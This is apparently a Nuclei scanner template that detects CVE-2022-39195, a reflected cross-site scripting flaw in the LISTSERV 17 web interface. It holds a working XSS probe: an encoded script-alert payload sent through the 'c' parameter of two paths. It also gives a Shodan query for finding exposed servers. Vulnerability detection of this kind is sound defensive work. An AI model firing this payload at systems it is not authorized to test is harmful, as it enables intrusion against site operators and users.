id: CVE-2022-39195

info:
  name: LISTSERV 17 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    LISTSERV 17 web interface contains a cross-site scripting vulnerability. An attacker can inject arbitrary JavaScript or HTML via the "c" parameter, thereby possibly allowing the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://packetstormsecurity.com/files/170552/LISTSERV-17-Cross-Site-Scripting.html
    - https://peach.ease.lsoft.com/scripts/wa-PEACH.exe?A0=LSTSRV-L
    - https://packetstormsecurity.com/2301-exploits/listserv17-xss.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2022-39195
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-39195
    cwe-id: CWE-79
    epss-score: 0.00125
    cpe: cpe:2.3:a:lsoft:listserv:17.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    shodan-query: http.html:"LISTSERV"
    verified: true
    vendor: lsoft
    product: listserv
  tags: cve,cve2022,xss,listserv,packetstorm

http:
  - method: GET
    path:
      - "{{BaseURL}}/scripts/wa.exe?TICKET=test&c=%3Cscript%3Ealert(document.domain)%3C/script%3E"
      - "{{BaseURL}}/scripts/wa-HAP.exe?TICKET=test&c=%3Cscript%3Ealert(document.domain)%3C/script%3E"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<script>alert(document.domain)</script>"
          - "LISTSERV"
        case-insensitive: true
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200